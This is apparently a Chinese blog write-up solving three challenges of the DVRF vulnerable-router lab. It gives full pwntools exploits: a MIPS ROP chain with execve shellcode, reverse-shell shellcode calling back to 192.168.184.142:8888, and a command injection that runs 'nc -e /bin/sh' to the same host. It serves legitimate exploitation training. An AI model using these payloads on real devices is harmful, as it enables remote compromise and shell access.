DVRF路由漏洞靶机中几道题的复现

项目地址:https://github.com/praetorian-inc/DVRF

使用binwalk提取固件DVRF_v03.bin

本地环境:kali-2022.2,qemu-7.0

stack_bof_02

栈溢出分析

使用ida分析,使用strcpy了函数,只要不出现\x00字符,就可以实现栈溢出。

启动程序:

1
qemu-mipsel -L ./ -g 1234 ./pwnable/ShellCode_Required/stack_bof_02 aaaaaaaaaaaaa

关于溢出的字节数,我是直接用pwndbg观察栈上的地址和程序中的汇编计算出的:0x407ffdd0 + 0x214 - 0x407ffde8 = 0x1fc

由于没有后门函数,这里可以使用shellcode,

  1. MIPS不支持NX保护,写入栈中的shellcode可以直接被执行;
  2. 使用ROP劫持控制流,虽然程序gadget很少,但libc文件中有大量的gadget,且qemu模拟无法做到地址随机化,libc的基地址每次启动也都是固定的;
  3. 由于缓存不一致性,指令cache和数据cache两者的同步需要一个时间来同步,否则就会失效;这里需要调用sleep函数来让shellcode从数据cache刷新到指令cache,然后在跳转到shellcode去执行。

libc基地址的寻找:

查看puts函数的调用 ,然后在libc文件中找到偏移 0x3fefc420 - 0x17420 = 0x3fee5000 (不同的环境模拟出的地址也会有所不同)

编写ROP

这里我是参考H4lo师傅的文章去寻找的gadget

使用mipsrop找到的gadget跳转到指定地址大多都是通过另一个寄存器去赋值,而原程序中我们溢出后只能控制$ra寄存器,无法控制更多的寄存器;为了方便gadget的使用,首先溢出后劫持到scandir函数结尾部分,让我们可以控制更多的寄存器:

1
2
3
4
5
6
7
8
9
10
11
12
.text:0000AFE0 3C 00 BF 8F                   lw      $ra, 0x18+var_s24($sp)
.text:0000AFE4 38 00 BE 8F lw $fp, 0x18+var_s20($sp)
.text:0000AFE8 34 00 B7 8F lw $s7, 0x18+var_s1C($sp)
.text:0000AFEC 30 00 B6 8F lw $s6, 0x18+var_s18($sp)
.text:0000AFF0 2C 00 B5 8F lw $s5, 0x18+var_s14($sp)
.text:0000AFF4 28 00 B4 8F lw $s4, 0x18+var_s10($sp)
.text:0000AFF8 24 00 B3 8F lw $s3, 0x18+var_sC($sp)
.text:0000AFFC 20 00 B2 8F lw $s2, 0x18+var_s8($sp)
.text:0000B000 1C 00 B1 8F lw $s1, 0x18+var_s4($sp)
.text:0000B004 18 00 B0 8F lw $s0, 0x18+var_s0($sp)
.text:0000B008 08 00 E0 03 jr $ra
.text:0000B00C 40 00 BD 27 addiu $sp, 0x40

再使用mipsrop.find(“li $a0,1”)找到相应的gadget,将$a0赋值为1,作为sleep函数的参数,如果$a0本身就存在值也可以不用这个操作,可能sleep的时间会长一点:

1
2
3
.text:0002FB10 01 00 04 24                   li      $a0, 1
.text:0002FB14 21 C8 20 02 move $t9, $s1
.text:0002FB18 09 F8 20 03 jalr $t9

调用sleep函数后还需要进一步调用shellcode,所以给$a0赋值值后不能直接去执行sleep函数,这里要进一步调用xdr_union函数结尾部分,执行完sleep函数后可以继续沿着ROP链执行:

1
2
3
4
5
6
7
8
9
.text:00021C34 21 C8 60 02                   move    $t9, $s3
.text:00021C38 2C 00 BF 8F lw $ra, 0x18+var_s14($sp)
.text:00021C3C 28 00 B4 8F lw $s4, 0x18+var_s10($sp)
.text:00021C40 24 00 B3 8F lw $s3, 0x18+var_sC($sp)
.text:00021C44 20 00 B2 8F lw $s2, 0x18+var_s8($sp)
.text:00021C48 1C 00 B1 8F lw $s1, 0x18+var_s4($sp)
.text:00021C4C 18 00 B0 8F lw $s0, 0x18+var_s0($sp)
.text:00021C50 08 00 20 03 jr $t9
.text:00021C54 30 00 BD 27 addiu $sp, 0x30

最后使用mipsrop.stackfinders()找到获取栈地址的相对偏移的gadget;使用mipsrop.tail()或mipsrop.find(“”)找到跳转地址的gadget,通过偏移量写入shellcode,找出如下gadget:

1
2
3
4
5
6
7
8
.text:0001B230 21 C8 00 02                   move    $t9, $s0
.text:0001B234 09 F8 20 03 jalr $t9
.text:0001B238 28 00 A4 27 addiu $a0, $sp, 0x38+var_10

.text:000214A0 21 C8 80 00 move $t9, $a0
.text:000214A4 18 00 A2 AF sw $v0, 0x30+var_18($sp)
.text:000214A8 09 F8 20 03 jalr $t9
.text:000214AC 18 00 A4 27 addiu $a0, $sp, 0x30+var_18

完整的ROP如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import*
context(arch='mips', os='linux', log_level = 'debug')
libcbase = 0x3fee5000

_sleep = libcbase + 0x2f2b0

shellcode = asm('''
slti $a2, $zero, -1
li $t7, 0x69622f2f
sw $t7, -12($sp)
li $t6, 0x68732f6e
sw $t6, -8($sp)
sw $zero, -4($sp)
la $a0, -12($sp)
slti $a1, $zero, -1
li $v0, 4011
syscall 0x40404
''')

payload = b'a' * 0x1fc + p32(libcbase + 0xafe0)
payload += b'a' * 0x18
payload += b'a' * 4 #s0
payload += p32(libcbase + 0x21c34) #s1
payload += b'a' * 4 #s2
payload += p32(_sleep) #s3
payload += b'a' * 4 #s4
payload += b'a' * 4 #s5
payload += b'a' * 4 #s6
payload += b'a' * 4 #s7
payload += b'a' * 4 #fp
payload += p32(libcbase + 0x2fb10) #ra

payload += b'a' * 0x18
payload += p32(libcbase + 0x214a0) #s0
payload += b'a' * 4 #s1
payload += b'a' * 4 #s2
payload += b'a' * 4 #s3
payload += b'a' * 4 #s4
payload += p32(libcbase + 0x1b230)
payload += b'a' * 0x28
payload += shellcode

with open('payload','wb') as f:
f.write(payload)

最后调用该payload

题外话

H4lo师傅第一个版本的ROP通过mipsrop.stackfinders()是找到 0x000171CC 这一处的 gadget:

1
2
3
4
.text:000171CC 18 00 A4 27                   addiu   $a0, $sp, 0x38+var_20
.text:000171D0 21 C8 60 02 move $t9, $s3
.text:000171D4 09 F8 20 03 jalr $t9
.text:000171D8 01 00 05 24 li $a1, 1

最后也是通过0x000214A0 的gadget跳转到shellcode,0x000171CC 处的 gadget获取栈地址的相对偏移是sp + 0x18,并依此写入0x18字节的数据填充,然后写入shellcode,而0x000214A0 处会有sw $v0, 0x18($sp)的操作,最后会将shellcode的前4位字节赋值为$v0寄存器的值,如下图:

虽然最后也可以成功执行shellcode,但是对于后面的socket_bof这种题就无法成功;所以最好继续多写入4字节的数据填充,然后写入shellcode,这样就不会让shellcode上的数据被修改。

不过H4lo师傅第二个版本的ROP就没有使用该处的gadget。

socket_bof

使用ida查看伪代码:

read函数输入字符到v10上后,再由sprintf函数将v10的字符加上“nom nom nom, you sent me ”这串字符一同复制到v11上,最后的溢出也是v11的溢出,所以在调试时在栈上应找到如下地址去计算溢出长度:

溢出后的ROP可以直接使用上一题stack_bof_02的,最后将shellcode改为可以反弹shell的代码。

可以参考shell-storm上的代码,再改一下ip和端口即可

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import*
context(arch='mips', os='linux', log_level = 'debug')
libcbase = 0x3fee5000
_sleep = libcbase + 0x2f2b0

shellcode = asm('''
slti $a0, $zero, 0xFFFF
li $v0, 4006
syscall 0x42424

slti $a0, $zero, 0x1111
li $v0, 4006
syscall 0x42424

li $t4, 0xFFFFFFFD
not $a0, $t4
li $v0, 4006
syscall 0x42424

li $t4, 0xFFFFFFFD
not $a0, $t4
not $a1, $t4
slti $a2, $zero, 0xFFFF
li $v0, 4183
syscall 0x42424

andi $a0, $v0, 0xFFFF
li $v0, 4041
syscall 0x42424
li $v0, 4041
syscall 0x42424

lui $a1, 0xB821 # Port: 8888
ori $a1, 0xFF01
addi $a1, $a1, 0x0101
sw $a1, -8($sp)

li $a1, 0x8EB8A8C0 # IP: 192.168.184.142
sw $a1, -4($sp)
addi $a1, $sp, -8

li $t4, 0xFFFFFFEF
not $a2, $t4
li $v0, 4170
syscall 0x42424

lui $t0, 0x6962
ori $t0, $t0,0x2f2f
sw $t0, -20($sp)

lui $t0, 0x6873
ori $t0, 0x2f6e
sw $t0, -16($sp)

slti $a3, $zero, 0xFFFF
sw $a3, -12($sp)
sw $a3, -4($sp)

addi $a0, $sp, -20
addi $t0, $sp, -20
sw $t0, -8($sp)
addi $a1, $sp, -8

addiu $sp, $sp, -20

slti $a2, $zero, 0xFFFF
li $v0, 4011
syscall 0x42424
''')


payload = b'a' * 51 + p32(libcbase + 0xafe0)
payload += b'a' * 0x18
payload += b'a' * 4 #s0
payload += p32(libcbase + 0x21c34) #s1
payload += b'a' * 4 #s2
payload += p32(_sleep) #s3
payload += b'a' * 4 #s4
payload += b'a' * 4 #s5
payload += b'a' * 4 #s6
payload += b'a' * 4 #s7
payload += b'a' * 4 #fp
payload += p32(libcbase + 0x2fb10) #ra

payload += b'a' * 0x18
payload += p32(libcbase + 0x214a0) #s0
payload += b'a' * 4 #s1
payload += b'a' * 4 #s2
payload += b'a' * 4 #s3
payload += b'a' * 4 #s4
payload += p32(libcbase + 0x1b230)
payload += b'a' * 0x28
payload += shellcode
p = remote('127.0.0.1',9999)
p.sendafter(b':', payload)

执行exp

socket_cmd

使用snprintf函数,控制大小为0x64,程序无栈溢出漏洞。将v10的字符直接拿去和“echo ”拼接后去作为system的参数,然后输出字符串;可以使用‘&’字符,当执行完输出后继续执行自己写入的命令。

就有如下exp:

1
2
3
4
5
from pwn import*
p = remote('127.0.0.1',9999)
cmd = b'/bin/sh'
payload = b'a &' + cmd
p.sendafter(b'Send me a string:', payload)

也可以反弹shell

1
2
3
4
5
from pwn import*
p = remote('127.0.0.1',9999)
cmd = b'nc -e /bin/sh 192.168.184.142 8888'
payload = b'a &' + cmd
p.sendafter(b'Send me a string:', payload)

执行后:


DVRF路由漏洞靶机中几道题的复现
https://xtxtn.github.io/2022/11/08/DVRF路由靶机/
作者
xtxtn
发布于
2022年11月8日
更新于
2022年11月12日
许可协议